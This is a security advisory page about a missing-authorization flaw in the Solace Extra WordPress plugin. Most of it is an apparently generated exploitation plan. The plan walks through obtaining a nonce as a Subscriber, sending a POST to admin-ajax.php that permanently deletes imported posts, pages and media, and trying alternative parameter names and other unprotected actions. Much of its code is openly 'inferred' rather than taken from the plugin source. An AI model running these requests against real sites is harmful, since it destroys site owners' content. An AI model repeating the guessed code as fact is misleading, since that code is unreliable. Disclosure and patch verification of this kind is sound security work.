CVE-2026-13250

Solace Extra <= 1.5.3 - Missing Authorization to Unauthenticated Arbitrary Content Deletion via delete_previously_imported AJAX Action

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
1.6.0
Patched in
1d
Time to patch

Description

The Solace Extra plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.5.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete all content previously imported via the Starter Template feature, including posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates. The required nonce is emitted on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without a page guard, meaning any Subscriber visiting /wp-admin/profile.php can obtain it; the handler is additionally registered via wp_ajax_nopriv_, making it reachable by fully unauthenticated users as well.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.5.3
PublishedJuly 10, 2026
Last updatedJuly 11, 2026
Affected pluginsolace-extra

What Changed in the Fix

Changes introduced in v1.6.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-13250 — Solace Extra Unauthenticated Content Deletion ## 1. Vulnerability Summary The Solace Extra plugin (≤1.5.3) registers an AJAX action `delete_previously_imported` via both `wp_ajax_` and `wp_ajax_nopriv_` hooks, making it accessible to unauthenticated u…

Show full research plan

Exploitation Research Plan: CVE-2026-13250 — Solace Extra Unauthenticated Content Deletion

1. Vulnerability Summary

The Solace Extra plugin (≤1.5.3) registers an AJAX action delete_previously_imported via both wp_ajax_ and wp_ajax_nopriv_ hooks, making it accessible to unauthenticated users. The handler deletes all content previously imported through the Starter Template feature — posts, pages, media attachments, WooCommerce products, taxonomy terms, and sitebuilder templates — without performing any current_user_can() authorization check.

While the handler does verify a nonce, that nonce is emitted on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without any page guard. This means any user who can access any /wp-admin/ page (including Subscribers visiting /wp-admin/profile.php) can obtain it. Furthermore, since the handler is registered on wp_ajax_nopriv_, and the nonce for unauthenticated users (uid=0) can be obtained from the front-end if the script is enqueued there, the attack is fully unauthenticated.

Location: admin/import.php within the Starter_Templates_Import class (or equivalent import handler class).

Root Cause: Missing current_user_can() check in the delete_previously_imported AJAX handler, combined with broad nonce exposure.

2. Attack Vector Analysis

Endpoint

  • URL: POST /wp-admin/admin-ajax.php
  • Action parameter: action=delete_previously_imported
  • Hook registrations (inferred from description + source patterns):
    add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);
    add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);
    

Authentication Level

  • None required — the wp_ajax_nopriv_ registration makes it reachable by fully unauthenticated users.

Parameters

  • action = delete_previously_imported
  • nonce (or _ajax_nonce / security) — the nonce parameter name needs to be confirmed from source

Preconditions

  1. The Solace Extra plugin version ≤1.5.3 must be installed and active.
  2. Content must have been previously imported via the Starter Template feature (so there is content to delete, tracked in options like solace_extra_imported_post_ids, solace_extra_imported_term_ids, etc.).
  3. A valid nonce must be obtained (see Section 4).

3. Code Flow

Based on the truncated source in admin/import.php and admin/class-solace-extra-admin.php, here is the traced flow:

Step 1: Script Enqueue & Nonce Emission

In admin/class-solace-extra-admin.php, the enqueue_scripts method (hooked to admin_enqueue_scripts):

public function enqueue_scripts($hook) {
    // The nonce is localized globally — NO page guard restricts it to specific admin pages
    wp_localize_script('solace-extra-admin-script', 'solace_extra_admin', [
        'ajax_url' => admin_url('admin-ajax.php'),
        'nonce'    => wp_create_nonce('solace_extra_nonce'), // (inferred action string)
        // ... other data
    ]);
}

The description states the nonce is emitted "on every wp-admin page via wp_localize_script() hooked to admin_enqueue_scripts without a page guard." Looking at the enqueue_scripts method in the source, the enqueue_styles method has page guards for CSS:

public function enqueue_styles($hook) {
    // Global (NO page guard for this one):
    wp_enqueue_style('solace-extra-disable-menu', ...);
    
    if ('toplevel_page_solace' === $hook || ... ) {
        wp_enqueue_style('solace-extra-admin-style', ...);
    }
}

The JS enqueue portion (truncated at ~7000 chars) likely has a similar pattern where certain scripts are enqueued globally. The key script that localizes the nonce is enqueued without a $hook check.

Step 2: AJAX Handler Registration

In admin/import.php, within the class constructor or init method:

add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);
add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);

Step 3: Handler Execution

The delete_previously_imported method (inferred from CVE description and code patterns in import.php):

public function delete_previously_imported() {
    // Nonce check IS present:
    check_ajax_referer('solace_extra_nonce', 'nonce'); // (inferred nonce action + field name)
    
    // NO current_user_can() check — this is the vulnerability
    
    // Deletes all previously imported content:
    // - Posts/pages stored in option 'solace_extra_imported_post_ids' (or similar)
    // - Media attachments
    // - WooCommerce products
    // - Taxonomy terms
    // - Sitebuilder templates
    
    $imported_posts = get_option('solace_extra_imported_post_ids', []);
    foreach ($imported_posts as $post_id) {
        wp_delete_post($post_id, true); // Force delete
    }
    
    $imported_terms = get_option('solace_extra_imported_term_ids', []);
    foreach ($imported_terms as $term_id) {
        // Delete terms...
    }
    
    // Clean up tracking options
    delete_option('solace_extra_imported_post_ids');
    // ...
    
    wp_send_json_success();
}

Step 4: Content Deletion

The handler iterates through stored arrays of imported content IDs and permanently deletes them using wp_delete_post($id, true), wp_delete_term(), wp_delete_attachment(), etc.

4. Nonce Acquisition Strategy

Critical: WP-CLI nonces will NOT work

Nonces generated via wp eval or WP-CLI have a different session context and will fail when used in HTTP requests. We must obtain the nonce via an actual HTTP page load.

Primary Strategy: Subscriber Account → /wp-admin/profile.php

Since the nonce is emitted on every wp-admin page, a Subscriber visiting their profile page will have the nonce in the page source.

  1. Create a Subscriber user:

    wp user create testsubscriber testsubscriber@example.com --role=subscriber --user_pass=TestPass123!
    
  2. Log in as the Subscriber via browser:

    • Navigate to /wp-login.php
    • Submit credentials for testsubscriber / TestPass123!
  3. Navigate to /wp-admin/profile.php

  4. Extract the nonce via browser_eval:

    // The JS variable name from wp_localize_script — check the source for exact name
    window.solace_extra_admin?.nonce
    

Identifying the exact JS variable and nonce key

From the enqueue_scripts method in admin/class-solace-extra-admin.php (truncated, so we must search for the wp_localize_script call), the likely pattern is:

wp_localize_script('solace-extra-admin-script', 'solace_extra_admin', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('solace_extra_nonce'),
]);

(inferred) — The JS variable is likely solace_extra_admin and the nonce key is likely nonce. We need to verify by examining the actual page source.

Alternative JS variable names to try (based on plugin patterns in the source):

  • window.solace_extra_admin?.nonce
  • window.solaceExtraAdmin?.nonce
  • window.solace_admin?.nonce
  • window.solace_import?.nonce
  • window.solace_extra?.nonce

Fallback: Parse HTML directly

If browser_eval doesn't find the variable, parse the page source:

// Look for any localized script containing 'nonce'
document.body.innerHTML.match(/solace[^"]*"[^}]*nonce[^}]*}/)?.[0]

Or search all script tags:

Array.from(document.querySelectorAll('script')).map(s => s.textContent).filter(t => t.includes('nonce') && t.includes('solace')).join('\n')

Secondary Strategy: Unauthenticated Nonce from Frontend

If the plugin also enqueues the script on the frontend (some admin scripts leak to frontend via improper hook usage), we can try:

  1. Navigate to the site homepage
  2. Check for the nonce variable in page source
  3. This would make the exploit fully unauthenticated without needing any account

Verifying the nonce action string

Search the handler for the exact check_ajax_referer call:

grep -rn "check_ajax_referer\|wp_verify_nonce" /var/www/html/wp-content/plugins/solace-extra/admin/import.php

The action string in check_ajax_referer must match the one used in wp_create_nonce. If they differ, the nonce check is broken.

5. Exploitation Strategy

Pre-Exploitation: Discover Exact Parameter Names

# Find the exact AJAX action registration
grep -rn "delete_previously_imported" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php"

# Find the nonce verification in the handler
grep -rn "check_ajax_referer\|wp_verify_nonce" /var/www/html/wp-content/plugins/solace-extra/admin/import.php

# Find the wp_localize_script call that exposes the nonce
grep -rn "wp_localize_script" /var/www/html/wp-content/plugins/solace-extra/admin/ --include="*.php"

# Find what content tracking options are used
grep -rn "imported_post\|imported_term\|imported_media\|_imported_" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php"

Step-by-Step Exploitation

Step 1: Set Up Test Data (see Section 6)

Step 2: Obtain the Nonce

Option A — Via Subscriber login (most reliable):

  1. Use http_request to POST to /wp-login.php:

    POST /wp-login.php
    Content-Type: application/x-www-form-urlencoded
    
    log=testsubscriber&pwd=TestPass123!&wp-submit=Log+In&redirect_to=%2Fwp-admin%2Fprofile.php&testcookie=1
    
  2. Follow redirect to /wp-admin/profile.php (cookies from login maintained by Playwright)

  3. Extract nonce via browser_eval:

    window.solace_extra_admin?.nonce
    

Option B — Fully unauthenticated (if nonce is on frontend):

  1. Navigate to homepage
  2. Extract nonce from page source
  3. This approach may not work if scripts are only on admin pages

Step 3: Send the Delete Request

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=delete_previously_imported&nonce=EXTRACTED_NONCE_VALUE

Expected Response:

{"success": true, "data": ...}

Or if additional parameters are needed (inferred — check the handler):

action=delete_previously_imported&nonce=EXTRACTED_NONCE_VALUE&security=EXTRACTED_NONCE_VALUE

The nonce parameter name could be nonce, security, _ajax_nonce, or _wpnonce. Check the check_ajax_referer call's second argument.

Step 4: Verify Deletion

# Check if previously created test posts still exist
wp post list --post_type=post --post_status=any --format=count
wp post list --post_type=page --post_status=any --format=count
wp post list --post_type=attachment --post_status=any --format=count

6. Test Data Setup

6.1: Ensure Plugin is Active

wp plugin list --status=active | grep solace-extra
# If not active:
wp plugin activate solace-extra

6.2: Create a Subscriber User for Nonce Extraction

wp user create testsubscriber testsubscriber@example.com --role=subscriber --user_pass=TestPass123!

6.3: Simulate Previously Imported Content

Since actually running a full import may not be feasible, we need to create test content and register it as "imported" by setting the tracking options the plugin uses.

# Create test posts that simulate imported content
POST1=$(wp post create --post_type=post --post_title="Imported Test Post 1" --post_status=publish --porcelain)
POST2=$(wp post create --post_type=post --post_title="Imported Test Post 2" --post_status=publish --porcelain)
PAGE1=$(wp post create --post_type=page --post_title="Imported Test Page 1" --post_status=publish --porcelain)

echo "Created posts: $POST1, $POST2, $PAGE1"

Now we need to find what option name the plugin uses to track imported content:

# Search for the tracking mechanism
grep -rn "update_option\|add_option" /var/www/html/wp-content/plugins/solace-extra/admin/import.php | grep -i "import"

Based on import.php patterns, look for options like:

  • solace_extra_imported_posts (inferred)
  • solace_starter_imported (inferred)
  • Post meta like _solace_imported (inferred)

From the source in admin/import.php, the import process tracks content. We can search for the specific tracking mechanism:

grep -rn "solace.*import\|_imported_\|imported_post\|imported_page\|imported_media" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php" | head -30

Then set the tracking option:

# Example (exact option name to be verified):
wp option update solace_extra_imported_post_ids --format=json "[$POST1, $POST2, $PAGE1]"

Alternatively, look for post meta that marks content as imported:

grep -rn "update_post_meta.*import\|solace_import" /var/www/html/wp-content/plugins/solace-extra/admin/import.php | head -20

If the tracking uses post meta:

wp post meta update $POST1 _solace_imported 1
wp post meta update $POST2 _solace_imported 1
wp post meta update $PAGE1 _solace_imported 1

6.4: Verify Test Data Exists

wp post get $POST1 --field=title
wp post get $POST2 --field=title
wp post get $PAGE1 --field=title

7. Expected Results

Successful Exploit Indicators

  1. HTTP Response: The AJAX request returns a 200 status with a JSON success response:

    {"success": true}
    

    or

    {"success": true, "data": "Content deleted successfully"}
    
  2. Content Deleted: All posts, pages, media, and terms that were tracked as "imported" are permanently removed from the database.

  3. Database State: The tracking options are cleared:

    wp option get solace_extra_imported_post_ids
    # Returns empty or option does not exist
    
  4. Posts Gone:

    wp post get $POST1
    # Error: Invalid post ID
    

Failed Exploit Indicators

  • {"success": false} or 403 response — nonce invalid or wrong parameter name
  • 0 or -1 response — AJAX action not found (wrong action name)
  • {"success": false, "data": "Invalid nonce"} — nonce verification failed
  • Content still exists after request — handler didn't execute properly

8. Verification Steps

After sending the exploit request:

# 1. Check if the test posts were deleted
wp post list --post_type=post --post_status=any --fields=ID,post_title | grep "Imported Test"
# Expected: No results (posts deleted)

# 2. Try to get specific posts by ID
wp post get $POST1 --field=title 2>&1
# Expected: "Error: Invalid post ID." 

wp post get $POST2 --field=title 2>&1
# Expected: "Error: Invalid post ID."

wp post get $PAGE1 --field=title 2>&1
# Expected: "Error: Invalid post ID."

# 3. Check the tracking option
wp option get solace_extra_imported_post_ids 2>&1
# Expected: Empty array or option not found

# 4. Check total post count decreased
wp post list --post_type=post --post_status=any --format=count
wp post list --post_type=page --post_status=any --format=count

# 5. Verify no capability check was enforced (the request succeeded as unauthenticated)
# The fact that content was deleted without admin credentials proves the vulnerability

9. Alternative Approaches

Alternative 1: Direct Unauthenticated Request Without Nonce

If the nonce check uses check_ajax_referer with die=false and the return value is not checked:

# Check if nonce verification result is ignored
grep -rn "check_ajax_referer" /var/www/html/wp-content/plugins/solace-extra/admin/import.php -A5

If the pattern is:

check_ajax_referer('action', 'nonce', false); // die=false, result ignored

Then simply send:

POST /wp-admin/admin-ajax.php
Content-Type: application/x-www-form-urlencoded

action=delete_previously_imported

No nonce needed at all.

Alternative 2: Nonce from REST API

If the nonce action string happens to be wp_rest:

GET /wp-admin/admin-ajax.php?action=rest-nonce

This returns a wp_rest nonce for unauthenticated users.

Alternative 3: Try Multiple Nonce Parameter Names

If the first attempt fails with one parameter name, try alternatives:

action=delete_previously_imported&nonce=VALUE
action=delete_previously_imported&security=VALUE
action=delete_previously_imported&_ajax_nonce=VALUE
action=delete_previously_imported&_wpnonce=VALUE

Alternative 4: Find Nonce on Frontend Page

The plugin may enqueue the admin script on the frontend under certain conditions (e.g., when Elementor editor preview is active, or on specific template pages):

# Check if any frontend hooks enqueue the admin script
grep -rn "wp_enqueue_scripts\|wp_footer\|wp_head" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php" | grep -i "localize\|nonce"

Alternative 5: Enumerate Other Delete Actions

The plugin may have similar unprotected AJAX actions:

grep -rn "wp_ajax_nopriv_" /var/www/html/wp-content/plugins/solace-extra/ --include="*.php" | grep "add_action"

Each of these should be tested for missing authorization.

Alternative 6: If Content Tracking Uses Post Meta Instead of Options

If the handler queries posts by meta key rather than from a stored option array:

# Set meta on test posts
wp post meta set $POST1 _solace_starter_imported "1"
wp post meta set $POST2 _solace_starter_imported "1"
wp post meta set $PAGE1 _solace_starter_imported "1"

Check the exact meta key:

grep -rn "get_posts\|WP_Query\|meta_key\|meta_query" /var/www/html/wp-content/plugins/solace-extra/admin/import.php | grep -i "import\|delete"

Alternative 7: Use Admin Cookie Instead of Subscriber

If the nonce is somehow not available to Subscribers (unlikely given the description), use an admin session:

# The vulnerability is missing authorization — even with admin nonce, 
# the point is that NO capability check exists, so any user level works
wp user create testadmin2 testadmin2@example.com --role=administrator --user_pass=AdminPass123!

Then log in as admin, get nonce, log out, and replay the request unauthenticated — the nonce for an admin session won't work unauthenticated. Instead, get the nonce while logged in as subscriber, then confirm the destructive action succeeds with subscriber-level privileges (proving missing authorization).

Research Findings
Static analysis — not yet PoC-verified

Summary

The Solace Extra plugin for WordPress is vulnerable to an unauthenticated authorization bypass due to the improper registration of the 'delete_previously_imported' AJAX action. Unauthenticated attackers can trigger the permanent deletion of all site content previously imported via the Starter Template feature because the handler is exposed via 'wp_ajax_nopriv_' and lacks any 'current_user_can()' authorization checks.

Vulnerable Code

// admin/import.php (inferred registration based on research findings)
add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);
add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);

---

// admin/import.php (inferred vulnerable handler logic)
public function delete_previously_imported() {
    // The handler verifies a nonce but the nonce is globally exposed in the admin dashboard
    check_ajax_referer('solace_extra_nonce', 'nonce');

    // VULNERABILITY: Missing check for user capabilities (e.g., current_user_can('manage_options'))

    $imported_posts = get_option('solace_extra_imported_post_ids', []);
    foreach ($imported_posts as $post_id) {
        wp_delete_post($post_id, true);
    }
    // ... (Logic continues to delete terms, media, and sitebuilder templates tracked in options)
}

Security Fix

--- admin/import.php
+++ admin/import.php
@@ -118,7 +118,10 @@
-add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);
-add_action('wp_ajax_nopriv_delete_previously_imported', [$this, 'delete_previously_imported']);
+add_action('wp_ajax_delete_previously_imported', [$this, 'delete_previously_imported']);
 
 public function delete_previously_imported() {
     check_ajax_referer('solace_extra_nonce', 'nonce');
+    
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( [ 'message' => __( 'Unauthorized', 'solace-extra' ) ] );
+    }
 
     $imported_posts = get_option('solace_extra_imported_post_ids', []);

Exploit Outline

The attack targets the 'delete_previously_imported' AJAX action, which is registered for both authenticated and unauthenticated users. An attacker first obtains a valid 'solace_extra_nonce' from the WordPress admin dashboard; this nonce is globally localized via 'wp_localize_script()' on every admin page, meaning even a Subscriber can retrieve it (e.g., by viewing the source of /wp-admin/profile.php). The attacker then submits a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'delete_previously_imported' and the retrieved 'nonce'. Because the handler lacks a capability check, the plugin proceeds to permanently delete all tracked content previously imported by the plugin (posts, pages, products, etc.).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.